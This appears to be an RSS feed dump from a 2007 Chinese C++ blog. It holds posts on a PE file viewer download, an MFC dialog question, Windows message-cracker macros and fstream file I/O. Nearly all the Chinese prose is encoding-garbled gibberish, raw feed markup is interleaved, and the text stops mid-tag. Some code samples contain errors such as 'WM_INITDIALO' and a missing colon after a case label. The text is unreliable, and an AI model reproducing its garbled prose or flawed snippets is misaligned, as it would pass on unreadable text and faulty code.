鏈夋椂涔熺敤hardcode鏉ュ艦瀹歸偅浜涢潪甯擱毦瀛︾殑璇█錛屾瘮濡侰鎴栬匔++璇█錛岀浉瀵圭殑錛岀敤softcode鏉ュ艦瀹硅薄VB榪欑被綆鍗曞ソ鐢ㄧ殑紼嬪簭璇█銆?



]]>
[鍘熷垱]PE鏂囦歡鍩烘湰淇℃伅鏌ョ湅鍣ㄥ強vc婧愮爜 涓嬭澆http://www.shnenglu.com/saga/archive/2007/12/18/38913.htmlsaga.constantinesaga.constantineTue, 18 Dec 2007 08:36:00 GMThttp://www.shnenglu.com/saga/archive/2007/12/18/38913.htmlhttp://www.shnenglu.com/saga/comments/38913.htmlhttp://www.shnenglu.com/saga/archive/2007/12/18/38913.html#Feedback5http://www.shnenglu.com/saga/comments/commentRss/38913.htmlhttp://www.shnenglu.com/saga/services/trackbacks/38913.html紼嬪簭涓嬭澆鍦板潃  www.shnenglu.com/files/saga/PEinfo.rar
vc婧愮爜涓嬭澆鍦板潃   www.shnenglu.com/files/saga/PEinfocode.rar

                                                                                    --------------------saga.constantine


]]>
[璇鋒暀]MFC寤虹珛鐨勫璇濇紼嬪簭鍦ㄤ富紿楀彛InitInstance()鍑芥暟閲岄潰鏃犳硶寤虹珛紿楀彛鍘熷洜錛岃楂樻墜鎸囩偣錛?/title><link>http://www.shnenglu.com/saga/archive/2007/12/06/37920.html</link><dc:creator>saga.constantine</dc:creator><author>saga.constantine</author><pubDate>Thu, 06 Dec 2007 12:37:00 GMT</pubDate><guid>http://www.shnenglu.com/saga/archive/2007/12/06/37920.html</guid><wfw:comment>http://www.shnenglu.com/saga/comments/37920.html</wfw:comment><comments>http://www.shnenglu.com/saga/archive/2007/12/06/37920.html#Feedback</comments><slash:comments>10</slash:comments><wfw:commentRss>http://www.shnenglu.com/saga/comments/commentRss/37920.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/saga/services/trackbacks/37920.html</trackback:ping><description><![CDATA[<p>vc6錛屽緩绔婱FC瀵硅瘽妗嗙▼搴忥紝涓葷獥鍙g殑InitInstance()閲岄潰錛岃繍琛孲DK鐨凙PI鍑芥暟MessageBox()錛岄兘鏃犳硶鐪嬭寮瑰嚭鐨勭獥鍙c傚錛?br>BOOL CMyText::InitInstance()<br>{<br>#ifdef _AFXDLL<br>          Enable3dControls();   // Call this when using MFC in a shared DLL<br>#else<br>          Enable3dControlsStatic(); // Call this when linking to MFC statically<br>#endif</p> <p>          CMyTextDlg dlg;<br>          m_pMainWnd = &dlg;<br>          int nResponse = dlg.DoModal();<br>          if (nResponse == IDOK)<br>          {<br>                    // TODO: Place code here to handle when the dialog is<br>                    //  dismissed with OK<br>            }<br>          else if (nResponse == IDCANCEL)<br>          {<br>           // TODO: Place code here to handle when the dialog is<br>           //  dismissed with Cancel<br>           MessageBox(NULL,"haha","aa",MB_OK);   //涓嶄細鍑虹幇<br>          }</p> <p>          // Since the dialog has been closed, return FALSE so that we exit the<br>          //  application, rather than start the application's message pump.<br>          return FALSE;<br>         }<br><br>涓婁緥涓殑MessageBox(),榪愯鏃朵竴璺寵岃繃錛岀湅涓嶈紿楀彛銆傚惉鐨勫噺寮瑰嚭紿楀彛鐨勫0闊熾備笉鐭ラ亾涓轟粈涔堬紝緗戜笂鏈変漢鎻愬嚭鍒嗘瀽榪欐牱鐨勯棶棰樸傚叾浠栫獥鍙d篃鏃犳硶鐢熸垚銆備絾鏄笉鐭ヤ負浣曘備竴縐嶈В鍐蟲柟娉曟槸娉ㄩ噴鎺塵_pMainWnd = &dlg;榪欏彞鍗沖彲姝e父銆傛垜璇曚簡錛岀殑紜姝わ紒<br><br><span style="COLOR: red">閭d綅楂樻墜鎴栫煡涔嬭呰礬榪囪瑙g瓟錛佽阿璋?<br></span><br>                                                                                                           ---------------------saga.constantine<br>                                                                                                                              <br></p> <img src ="http://www.shnenglu.com/saga/aggbug/37920.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/saga/" target="_blank">saga.constantine</a> 2007-12-06 20:37 <a href="http://www.shnenglu.com/saga/archive/2007/12/06/37920.html#Feedback" target="_blank" style="text-decoration:none;">鍙戣〃璇勮</a></div>]]></description></item><item><title>[杞澆]windows娑堟伅鍒嗘祦鍣?http://www.shnenglu.com/saga/archive/2007/09/04/31311.htmlsaga.constantinesaga.constantineTue, 04 Sep 2007 05:40:00 GMThttp://www.shnenglu.com/saga/archive/2007/09/04/31311.htmlhttp://www.shnenglu.com/saga/comments/31311.htmlhttp://www.shnenglu.com/saga/archive/2007/09/04/31311.html#Feedback2http://www.shnenglu.com/saga/comments/commentRss/31311.htmlhttp://www.shnenglu.com/saga/services/trackbacks/31311.html鑷繁鐪嬫牳蹇冪紪紼嬶紝瀵規秷鎭垎嫻佸櫒涓嶅お鐞嗚В錛岃繖綃囧啓鐨勪笉閿欙紝鎵浠ヨ漿杞姐?br>鏂囩珷浣滆咃細嬈f
鍘熸枃閾炬帴錛?a >http://blog.csdn.net/hopkins9961629/archive/2006/01/25/588184.aspx

寰堝ソ鐞嗚В,windows鎿嶄綔緋葷粺浣跨敤娑堟伅澶勭悊鏈哄埗,閭d箞,鎴戜滑鎵璁捐鐨勭▼搴忓浣曟墠鑳藉垎杈ㄥ拰澶勭悊緋葷粺涓殑鍚勭娑堟伅鍛?榪欏氨鏄秷鎭垎嫻佸櫒鐨勪綔鐢?

綆鍗曟潵璇?娑堟伅鍒嗘祦鍣ㄥ氨鏄竴孌典唬鐮?鍦ㄦ垜鐨勮榪頒腑,灝嗗垎7閲嶆潵寰簭娓愯繘鐨勪粙緇嶅畠.浠庢渶鍒濈殑絎?閲嶅埌鏈鎴愮啛鐨勭7閲?瀹冪殑鏍峰瓙浼氭湁寰堝ぇ鐨勫彉鍖?浣?瀹炵幇鐨勫姛鑳介兘鏄竴鏍風殑,鎵涓嶅悓鐨?浠呬粎鏄彉寰楁洿鍔犵畝緇冪艦浜?

紼嬪簭寮濮嬫椂鍊?浼氭槸main鍑芥暟,鐒跺悗浼氱敓鎴愬垵濮嬬殑紿楀彛,鍚屾椂浼氳皟鐢╓ndProc鍑芥暟.榪欐槸涓涓嚜瀹氫箟鐨勫嚱鏁?鍚嶅瓧涔熶細鏈夊彉鍖?浣嗗叾鍔熻兘鏄竴鏍風殑,灝辨槸榪愯娑堟伅鍒嗘祦鍣?WndProc鍑芥暟濡備笅:

LRESULT CALLBACK WndProc (HWND hwnd, UINT msg,WPARAM wParam, LPARAM lParam)
{

//......

return DefWindowProc(hwnd, msg, wParam, lParam);

}

榪欏叾涓?hwnd鏄獥鍙g殑鍙ユ焺,msg鏄郴緇熷彂閫佹潵鐨勬秷鎭殑鍚嶅瓧.wParam鍜宭Param鍒欐槸闅忔秷鎭竴璧峰彂閫佹潵鐨勬秷鎭弬鏁?

WndProc鍑芥暟浣跨敤浜嗘秷鎭垎嫻佸櫒錛屼笅闈㈡妸娑堟伅鍒嗘祦鍣ㄧ殑鍐呭瑙i噴涓涓嬶細

涓閲嶏紝褰撲笉鍚岀殑娑堟伅鍑虹幇鏃訛紝鍦ㄥ叾涓啓鍏ョ浉搴旂殑紼嬪簭璇彞鍗沖彲銆?br>LRESULT CALLBACK WndProc (HWND hwnd, UINT msg,WPARAM wParam, LPARAM lParam)
{
 switch(msg)
 {
  case WM_CREATE:
  // ...
  return 0;

  case WM_PAINT:
  // ...
  return 0;

  case WM_DESTROY:
  //...
  return 0;
 }
 return DefWindowProc(hwnd, msg, wParam, lParam);
}

浜岄噸錛岃繍鐢ㄤ笁涓秷鎭垎嫻佸櫒榪涜澶勭悊銆?br>LRESULT CALLBACK WndProc (HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
 switch(msg)
 {
  case WM_CREATE:
  return HANDLE_WM_CREATE(hwnd, wParam, lParam, Cls_OnCreate);

  case WM_PAINT:
  return HANDLE_WM_PAINT(hwnd, wParam, lParam, Cls_OnPaint);

  case WM_DESTROY:
  return HANDLE_WM_DESTROY(hwnd, wParam, lParam, Cls_OnDestroy);
 }
 return DefWindowProc(hwnd, msg, wParam, lParam);
}
榪欓噷鐨凥ANDLE_WM_CREATE錛孒ANDLE_WM_PAINT錛孒ANDLE_WM_DESTROY灝辨槸娑堟伅鍒嗘祦鍣ㄣ?br>涓庢秷鎭笉鍚屼箣澶勫氨鏄湪鍓嶉潰澧炲姞浜?#8220;HANDLE_”瀛楃錛寃indows鐨勬秷鎭垎嫻佸櫒灝辨槸榪欐牱鐨勬ā鏍楓?br>瀹冪殑鏈川灝辨槸瀹忓畾涔夈?br>鍏朵腑鐨勫洓涓弬鏁版湁涓変釜閮芥槸浠庢湰鍑芥暟鐨勫叆鍙e弬鏁頒腑鐩存帴寰楀埌鐨勶紝鍗充負hwnd, wParam, lParam銆?br>鍙湁絎洓鐨勫弬鏁版槸琛ㄦ槑璋冪敤鐨勫嚱鏁般?br>娑堟伅鍒嗘祦鍣ㄦ槸鍦╳inowsx.h鏂囦歡涓畾涔夌殑銆傜敱姝わ紝鍙互鐪嬪嚭絎洓涓弬鏁版槸璋冪敤鐨勫嚱鏁幫紝鍏跺畾涔夊涓嬶細

#define HANDLE_WM_CREATE(hwnd, wParam, lParam, fn) ((fn)((hwnd), (LPCREATESTRUCT)(lParam)) ? 0L : (LRESULT)-1L)

#define HANDLE_WM_PAINT(hwnd, wParam, lParam, fn) ((fn)(hwnd), 0L)

#define HANDLE_WM_DESTROYCLIPBOARD(hwnd, wParam, lParam, fn) ((fn)(hwnd), 0L)

0L鏄〃紺篿nt綾誨瀷鐨勫彉閲忥紝鍏舵暟鍊間負0銆?br>int綾誨瀷鏃訛紝鍙湪鍚庨潰鍔爈鎴栬匧(灝忓啓鍜屽ぇ鍐欏艦寮?
琛ㄦ槑鏃犵鍙鋒暟鏃訛紝鍙湪鍚庨潰鍔爑鎴栬匲(灝忓啓鍜屽ぇ鍐欏艦寮?
float綾誨瀷鏃訛紝鍙湪鍚庨潰鍔爁鎴栬匜(灝忓啓鍜屽ぇ鍐欏艦寮?
渚嬪錛?br>128u 1024UL 1L 8Lu 3.14159F 0.1f

LRESULT鏄竴涓郴緇熺殑鏁版嵁綾誨瀷錛屽叾瀹氫箟濡備笅錛?br>typedef LONG_PTR LRESULT;

LONG_PTR涔熸槸涓涓郴緇熺殑鏁版嵁綾誨瀷錛屽叾瀹氫箟濡備笅錛?br>#if defined(_WIN64)
 typedef __int64 LONG_PTR;
#else
 typedef long LONG_PTR;
#endif
鐢辨鍙錛孡RESULT鐨勫疄璐ㄥ氨鏄?4鐨刲ong綾誨瀷鐨勫彉閲?/p>

閭d箞(LRESULT)-1L鐨勫疄璐ㄥ茍涓嶆槸鍑忔硶錛岃屾槸((LRESULT)(-1L))錛屽嵆寮哄埗綾誨瀷杞崲

涓夐噸錛屾妸娑堟伅鍒嗘祦鍣ㄧ殑瀹忓畾涔変唬鎹㈠洖鍘伙紝灝辨垚浜嗕笅闈㈢殑鏍峰瓙
LRESULT CALLBACK WndProc (HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
 switch(msg)
 {
  case WM_CREATE:
  return Cls_OnCreate(hwnd, (LPCREATESTRUCT)(lParam)) ? 0L : (LRESULT)-1L;
  // 濡傛灉澶勭悊浜嗘秷鎭紝鍒機ls_OnCreate搴旇繑鍥濼RUE錛屽鑷碬ndProc榪斿洖0錛屽惁鍒機ls_OnCreate榪斿洖FALSE錛屽鑷碬ndProc榪斿洖-1錛?/p>

  case WM_PAINT:
  return Cls_OnPaint(hwnd), 0L;
  // 閫楀彿琛ㄨ揪寮忥紱Cls_OnPaint鏄痸oid綾誨瀷錛岃繖閲岃繑鍥?錛?

  case WM_DESTROY:
  return Cls_OnDestroy(hwnd), 0L; // 鍚孋ls_OnPaint
 }
 return DefWindowProc(hwnd, msg, wParam, lParam);
}
鍦ㄩ楀彿琛ㄨ揪寮忥紝C++浼氳綆楁瘡涓〃杈懼紡錛屼絾瀹屾暣鐨勯楀彿琛ㄨ揪寮忕殑緇撴灉鏄渶鍙寵竟琛ㄨ揪寮忕殑鍊箋?br>鎵浠ワ紝浼歳eturn 0銆?br>鐒跺悗錛屽氨鍙互鎵嬪姩鐨勭紪鍐欏悇涓鐞嗗嚱鏁頒簡錛欳ls_OnCreate錛孋ls_OnPaint錛學M_DESTROY銆?/p>

鍥涢噸錛?br>LRESULT CALLBACK WndProc (HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
 switch(msg)
 {
  HANDLE_MSG(hwnd, WM_CREATE, Cls_OnCreate);
  HANDLE_MSG(hwnd, WM_PAINT, Cls_OnPaint);
  HANDLE_MSG(hwnd, WM_DESTROY, Cls_OnDestroy);
 }
 return DefWindowProc(hwnd, msg, wParam, lParam);
}

HANDLE_MSG涔熸槸涓涓畯錛屽畠鍦╳indowsx.h涓畾涔夛紝濡備笅錛?br>#define HANDLE_MSG(hwnd, message, fn) case (message): return HANDLE_##message((hwnd), (wParam), (lParam), (fn))

榪欎釜瀹忚鍋氱殑灝辨槸鏍規嵁涓嶅悓鐨刴essage錛?#鐢ㄦ潵榪炴帴鍓嶅悗鐨勫瓧絎︿覆錛夛紝鎶婅嚜宸?#8220;鍙樻垚”鐩稿簲鐨凥ANDLE_XXXXMESSAGE褰㈠紡鐨勫畯錛屽啀閫氳繃鐩稿簲鐨勫畯鏉ユ墽琛屾秷鎭鐞嗕唬鐮併?br>璇寸櫧浜嗭紝灝辨槸鎶妋essage鐨勬秷鎭仛涓烘浛鎹紝##灝辨槸涓涓浛鎹㈢殑鏍囧織銆?br>濡傛灉娌℃湁##錛屽氨鎴愪簡HANDLE_message浜嗭紝榪欐牱錛屽畯鏄笉浼氳浠f崲鐨勩?br>濡傛灉灝卞崟鐙竴涓紝鍒欎細浠f崲錛屽hwnd鍜宖n銆?/p>

姣斿瀹為檯浠g爜涓啓鍏ワ細
HANDLE_MSG(hwnd, WM_CREATE, Cls_OnCreate)
鍒欑粡榪囪漿鎹㈠氨鍙樻垚錛?br>case (WM_CREATE): return HANDLE_WM_CREATE((hwnd), (wParam), (lParam), (Cls_OnCreate))
榪欎笌浜岄噸涓妯′竴鏍楓?/p>

浠ヤ笂鍥涢噸錛屾槸娑堟伅鍒嗙鍣ㄧ殑鍩烘湰浣跨敤錛屼絾錛岃繖涓嶅畬鏁達紝娑堟伅鍒嗙鍣ㄤ富瑕佸簲鐢ㄥ湪瀵硅瘽妗嗘秷鎭鐞嗕腑銆?br>榪欓噷錛岀獥鍙e瓙綾誨寲鏄垜浠粡甯鎬嬌鐢ㄧ殑鎵嬫錛岃繖涔熷彲浠ラ氳繃娑堟伅鍒嗘祦鍣ㄥ疄鐜幫紝

絎簲閲?br>LRESULT CALLBACK Dlg_Proc (HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
 switch(msg)
 {
  HANDLE_MSG(hwnd, WM_INITDIALO , Cls_OnInitDialog); // 涓嶈兘鐩存帴浣跨敤HANDLE_MSG瀹?br>  HANDLE_MSG(hwnd, WM_COMMAND, Cls_OnCommand); // 涓嶈兘鐩存帴浣跨敤HANDLE_MSG瀹?br> }
 return false;
}
鐢變簬鏄獥鍙e瓙綾誨寲錛屾墍浠ワ紝鏈鍚庯紝榪斿洖鐨勬槸false錛屼互琛ㄦ槑錛屽鏋滄病鏈夌害瀹氬搷搴旂殑娑堟伅錛?br>鍒欒繑鍥炵埗浜茬獥鍙alse錛屽鏋滄湁錛屽垯榪斿洖ture錛岃繖鏄笌鍓嶅洓閲嶄笉鍚岀殑鍦版柟銆?br>涓鑸儏鍐典笅錛屽璇濇榪囩▼鍑芥暟搴旇鍦ㄥ鐞嗕簡娑堟伅鐨勬儏鍐典笅榪斿洖TRUE錛屽鏋滄病鏈夊鐞嗭紝鍒欒繑鍥濬ALSE銆?br>濡傛灉瀵硅瘽妗嗚繃紼嬭繑鍥炰簡FALSE錛岄偅涔堝璇濇綆$悊鍣ㄤ負榪欐潯娑堟伅鍑嗗榛樿鐨勫璇濇搷浣溿?/p>

浣嗘槸錛岃繖鍏朵腑鏈夐敊璇紝鍥犱負鏈夌殑娑堟伅,闇瑕佸崟鐙鐞嗐傚崟鐙鐞嗙殑娑堟伅鍒楄〃瑙丼etDlgMsgResult瀹忋?/p>

絎叚閲?br>榪欑偣灝忛棶棰橈紝榪欏氨闇瑕佺敤鍒癝etDlgMsgResult(hwnd, msg, result)瀹忋?

LRESULT CALLBACK Dlg_Proc (HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
switch(msg)
 {
 case WM_INITDIALO:
 return (SetDlgMsgResult(hwnd, Msg, HANDLE_WM_INITDIALO((hwnd), (wParam), (lParam), (fn)));

 case WM_COMMAND:
 return (SetDlgMsgResult(hwnd, Msg, HANDLE_WM_COMMAND((hwnd), (wParam), (lParam), (fn)));
 }
return false;
}
榪欓噷錛屽氨鐢ㄧ洿鎺ョ敤鍒頒簡絎簩閲嶇殑娑堟伅鍒嗘祦鍣紝鑰屾姏寮冧簡鍏朵粬銆?/p>

榪欎釜瀹忓畾涔夊涓嬶細
#define SetDlgMsgResult(hwnd, msg, result)
(
 (
 (msg) == WM_CTLCOLORMSGBOX ||
 (msg) == WM_CTLCOLOREDIT ||
 (msg) == WM_CTLCOLORLISTBOX ||
 (msg) == WM_CTLCOLORBTN ||
 (msg) == WM_CTLCOLORDLG ||
 (msg) == WM_CTLCOLORSCROLLBAR ||
 (msg) == WM_CTLCOLORSTATIC ||
 (msg) == WM_COMPAREITEM ||
 (msg) == WM_VKEYTOITEM ||
 (msg) == WM_CHARTOITEM ||
 (msg) == WM_QUERYDRAGICON ||
 (msg) == WM_INITDIALOG
 ) ?
 (BOOL)(result) :
 (SetWindowLongPtr((hwnd), DWLP_MSGRESULT, (LPARAM)(LRESULT)(result)), TRUE)
)

涓轟簡琛ㄨ堪娓呮錛屾墍浠ョ敤浜嗘鏍煎紡錛岃繖鏄竴涓笁欏硅〃杈懼紡錛岄鍏堝娑堟伅綾誨瀷榪涜鑰冨療銆?/p>

濡傛灉瀵硅瘽妗嗚繃紼嬪鐞嗙殑娑堟伅鎭板閥涓鴻繑鍥炵壒瀹氬間腑鐨勪竴涓紝鍒欏瀹炶繑鍥瀝esult錛?br>涓嶈琚墠闈㈢殑BOOL钂欒斀錛孊OOL鍦ㄥご鏂囦歡涓殑瀹氫箟瀹為檯涓婃槸涓涓猧nt鍨嬶紝
涓鏃﹂渶瑕佽繑鍥為潪TRUE鎴朏ALSE鐨勫叾浠栧鹼紝鐓ф牱鍙互錛?/p>

榪欐牱錛屾垜浠殑Cls_OnInitDialog灝辮兘澶熸紜殑榪斿洖瀹冪殑BOOL鍊間簡錛?br>鑰孋ls_OnCommand鍦ㄥ鐞嗕箣鍚庯紝涔熷彲浠ョ敱鍚庨潰鐨勯楀彿琛ㄨ揪寮忔紜殑榪斿洖涓涓猅RUE琛ㄧず娑堟伅宸插鐞嗐?/p>

絎竷閲?br>鎴戜滑榪樺彲浠ユ妸case涔熷寘鍚繘鏉ワ紝灝辨垚浜嗗涓嬬殑鏍峰瓙銆?/p>

LRESULT CALLBACK Dlg_Proc (HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
 switch(msg)
 {
 chHANDLE_DLGMSG(hwnd, WM_INITDIALOG, Cls_OnInitDialog);
 chHANDLE_DLGMSG(hwnd, WM_COMMAND, Cls_OnCommand);
 }
 return false;
}

chHANDLE_DLGMSG鏄墰浜哄畾涔夌殑涓涓畯錛屽畠鎶奵ase涔熷寘鍚繘鏉ヤ簡銆?br>#define chHANDLE_DLGMSG(hwnd, message, fn) case (message): return (SetDlgMsgResult(hwnd, uMsg, HANDLE_##message((hwnd), (wParam), (lParam), (fn))))

榪欐牱錛岀▼搴忎腑鐨勮鍙?br> switch (uMsg)
 {
  chHANDLE_DLGMSG(hwnd, WM_INITDIALOG, Dlg_OnInitDialog);
  chHANDLE_DLGMSG(hwnd, WM_SIZE,       Dlg_OnSize);
  chHANDLE_DLGMSG(hwnd, WM_COMMAND,    Dlg_OnCommand);
 }

灝辮緲昏瘧鎴愶細
 switch (uMsg)
 {
 case (WM_INITDIALOG):
  return (SetDlgMsgResult(hwnd, uMsg, HANDLE_WM_INITDIALOG((hwnd), (wParam), (lParam), (Dlg_OnInitDialog))));

 case (WM_SIZE)
  return (SetDlgMsgResult(hwnd, uMsg, HANDLE_WM_SIZE((hwnd), (wParam), (lParam), (Dlg_OnSize))));

 case (WM_COMMAND)
  return (SetDlgMsgResult(hwnd, uMsg, HANDLE_WM_COMMAND((hwnd), (wParam), (lParam), (Dlg_OnCommand))));
 }

榪欐牱,娑堟伅鍒嗘祦鍣?灝變粙緇嶅畬姣?



]]>
[杞笘]fstream鐨勪嬌鐢ㄦ柟娉曚粙緇?/title><link>http://www.shnenglu.com/saga/archive/2007/06/19/26652.html</link><dc:creator>saga.constantine</dc:creator><author>saga.constantine</author><pubDate>Tue, 19 Jun 2007 15:46:00 GMT</pubDate><guid>http://www.shnenglu.com/saga/archive/2007/06/19/26652.html</guid><wfw:comment>http://www.shnenglu.com/saga/comments/26652.html</wfw:comment><comments>http://www.shnenglu.com/saga/archive/2007/06/19/26652.html#Feedback</comments><slash:comments>5</slash:comments><wfw:commentRss>http://www.shnenglu.com/saga/comments/commentRss/26652.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/saga/services/trackbacks/26652.html</trackback:ping><description><![CDATA[<p>鍦–++涓紝鏈変竴涓猻tream榪欎釜綾伙紝鎵鏈夌殑I/O閮戒互榪欎釜“嫻?#8221;綾諱負鍩虹鐨勶紝鍖呮嫭鎴戜滑瑕佽璇嗙殑鏂囦歡I/O錛宻tream榪欎釜綾繪湁涓や釜閲嶈鐨勮繍綆楃錛?/p> <p>1銆佹彃鍏ュ櫒(<<)<br>銆銆鍚戞祦杈撳嚭鏁版嵁銆傛瘮濡傝緋葷粺鏈変竴涓粯璁ょ殑鏍囧噯杈撳嚭嫻?cout)錛屼竴鑸儏鍐典笅灝辨槸鎸囩殑鏄劇ず鍣紝鎵浠ワ紝cout<<"Write Stdout"<<' ';灝辮〃紺烘妸瀛楃涓?Write Stdout"鍜屾崲琛屽瓧絎?' ')杈撳嚭鍒版爣鍑嗚緭鍑烘祦銆?/p> <p>2銆佹瀽鍙栧櫒(>>)<br>銆銆浠庢祦涓緭鍏ユ暟鎹傛瘮濡傝緋葷粺鏈変竴涓粯璁ょ殑鏍囧噯杈撳叆嫻?cin)錛屼竴鑸儏鍐典笅灝辨槸鎸囩殑閿洏錛屾墍浠ワ紝cin>>x;灝辮〃紺轟粠鏍囧噯杈撳叆嫻佷腑<a name=1></a><strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">璇誨彇</strong>涓涓寚瀹氱被鍨?鍗沖彉閲弜鐨勭被鍨?鐨勬暟鎹?/p> <p>銆銆鍦–++涓紝瀵規枃浠剁殑鎿嶄綔鏄氳繃stream鐨勫瓙綾?a name=0></a><strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">fstream</strong>(file stream)鏉ュ疄鐜扮殑錛屾墍浠ワ紝瑕佺敤榪欑鏂瑰紡鎿嶄綔鏂囦歡錛屽氨蹇呴』鍔犲叆澶存枃浠?strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">fstream</strong>.h銆備笅闈㈠氨鎶婃綾葷殑鏂囦歡鎿嶄綔榪囩▼涓涓閬撴潵銆?/p> <p>涓銆佹墦寮鏂囦歡<br>銆銆鍦?strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">fstream</strong>綾諱腑錛屾湁涓涓垚鍛樺嚱鏁皁pen()錛屽氨鏄敤鏉ユ墦寮鏂囦歡鐨勶紝鍏跺師鍨嬫槸錛?/p> <p>void open(const char* filename,int mode,int access);</p> <p>鍙傛暟錛?/p> <p>filename錛氥銆瑕佹墦寮鐨勬枃浠跺悕 <br>mode錛氥銆銆銆瑕佹墦寮鏂囦歡鐨勬柟寮?<br>access錛氥銆銆鎵撳紑鏂囦歡鐨勫睘鎬?br>鎵撳紑鏂囦歡鐨勬柟寮忓湪綾籭os(鏄墍鏈夋祦寮廔/O綾葷殑鍩虹被)涓畾涔夛紝甯哥敤鐨勫煎涓嬶細 </p> <p>ios::app錛氥銆銆浠ヨ拷鍔犵殑鏂瑰紡鎵撳紑鏂囦歡 <br>ios::ate錛氥銆銆鏂囦歡鎵撳紑鍚庡畾浣嶅埌鏂囦歡灝撅紝ios:app灝卞寘鍚湁姝ゅ睘鎬?<br>ios::binary錛?銆浠?a name=2></a><strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">浜岃繘鍒?/strong>鏂瑰紡鎵撳紑鏂囦歡錛岀己鐪佺殑鏂瑰紡鏄枃鏈柟寮忋備袱縐嶆柟寮忕殑鍖哄埆瑙佸墠鏂?<br>ios::in錛氥銆銆 鏂囦歡浠ヨ緭鍏ユ柟寮忔墦寮 <br>ios::out錛氥銆銆鏂囦歡浠ヨ緭鍑烘柟寮忔墦寮 <br>ios::nocreate錛?涓嶅緩绔嬫枃浠訛紝鎵浠ユ枃浠朵笉瀛樺湪鏃舵墦寮澶辮觸銆 <br>ios::noreplace錛氫笉瑕嗙洊鏂囦歡錛屾墍浠ユ墦寮鏂囦歡鏃跺鏋滄枃浠跺瓨鍦ㄥけ璐?<br>ios::trunc錛氥銆濡傛灉鏂囦歡瀛樺湪錛屾妸鏂囦歡闀垮害璁句負0 <br>銆銆鍙互鐢?#8220;鎴?#8221;鎶婁互涓婂睘鎬ц繛鎺ヨ搗鏉ワ紝濡俰os::out|ios::binary</p> <p>銆銆鎵撳紑鏂囦歡鐨勫睘鎬у彇鍊兼槸錛?/p> <p>0錛氭櫘閫氭枃浠訛紝鎵撳紑璁塊棶 <br>1錛氬彧璇繪枃浠?<br>2錛氶殣鍚枃浠?<br>4錛氱郴緇熸枃浠?<br>銆銆鍙互鐢?#8220;鎴?#8221;鎴栬?#8220;+”鎶婁互涓婂睘鎬ц繛鎺ヨ搗鏉?錛屽3鎴?|2灝辨槸浠ュ彧璇誨拰闅愬惈灞炴ф墦寮鏂囦歡銆?/p> <p>銆銆渚嬪錛氫互<strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">浜岃繘鍒?/strong>杈撳叆鏂瑰紡鎵撳紑鏂囦歡c:config.sys </p> <p>銆銆<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">fstream</strong> file1;<br>銆銆file1.open("c:\config.sys",ios::binary|ios::in,0);</p> <p>銆銆濡傛灉open鍑芥暟鍙湁鏂囦歡鍚嶄竴涓弬鏁幫紝鍒欐槸浠ヨ/鍐欐櫘閫氭枃浠舵墦寮錛屽嵆錛?/p> <p>銆銆file1.open("c:\config.sys");<=>file1.open("c:\config.sys",ios::in|ios::out,0);</p> <p>銆銆鍙﹀錛?strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">fstream</strong>榪樻湁鍜宱pen()涓鏍風殑鏋勯犲嚱鏁幫紝瀵逛簬涓婁緥錛屽湪瀹氫箟鐨勬椂渚氨鍙互鎵撳紑鏂囦歡浜嗭細</p> <p>銆銆<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">fstream</strong> file1("c:\config.sys");</p> <p>銆銆鐗瑰埆鎻愬嚭鐨勬槸錛?strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">fstream</strong>鏈変袱涓瓙綾伙細ifstream(input file stream)鍜宱fstream(outpu file stream)錛宨fstream榛樿浠ヨ緭鍏ユ柟寮忔墦寮鏂囦歡錛岃宱fstream榛樿浠ヨ緭鍑烘柟寮忔墦寮鏂囦歡銆?/p> <p>銆銆ifstream file2("c:\pdos.def");//浠ヨ緭鍏ユ柟寮忔墦寮鏂囦歡<br>銆銆ofstream file3("c:\x.123");//浠ヨ緭鍑烘柟寮忔墦寮鏂囦歡</p> <p>銆銆鎵浠ワ紝鍦ㄥ疄闄呭簲鐢ㄤ腑錛屾牴鎹渶瑕佺殑涓嶅悓錛岄夋嫨涓嶅悓鐨勭被鏉ュ畾涔夛細濡傛灉鎯充互杈撳叆鏂瑰紡鎵撳紑錛屽氨鐢╥fstream鏉ュ畾涔夛紱濡傛灉鎯充互杈撳嚭鏂瑰紡鎵撳紑錛屽氨鐢╫fstream鏉ュ畾涔夛紱濡傛灉鎯充互杈撳叆/杈撳嚭鏂瑰紡鏉ユ墦寮錛屽氨鐢?strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">fstream</strong>鏉ュ畾涔夈?/p> <p>浜屻佸叧闂枃浠?br>銆銆鎵撳紑鐨勬枃浠朵嬌鐢ㄥ畬鎴愬悗涓瀹氳鍏抽棴錛?strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">fstream</strong>鎻愪緵浜嗘垚鍛樺嚱鏁癱lose()鏉ュ畬鎴愭鎿嶄綔錛屽錛歠ile1.close();灝辨妸file1鐩歌繛鐨勬枃浠跺叧闂?/p> <p>涓夈佽鍐欐枃浠?br>銆銆璇誨啓鏂囦歡鍒嗕負鏂囨湰鏂囦歡鍜?strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">浜岃繘鍒?/strong>鏂囦歡鐨?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">璇誨彇</strong>錛屽浜庢枃鏈枃浠剁殑<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">璇誨彇</strong>姣旇緝綆鍗曪紝鐢ㄦ彃鍏ュ櫒鍜屾瀽鍙栧櫒灝卞彲浠ヤ簡錛涜屽浜?strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">浜岃繘鍒?/strong>鐨?strong style="COLOR: black; BACKGROUND-COLOR: 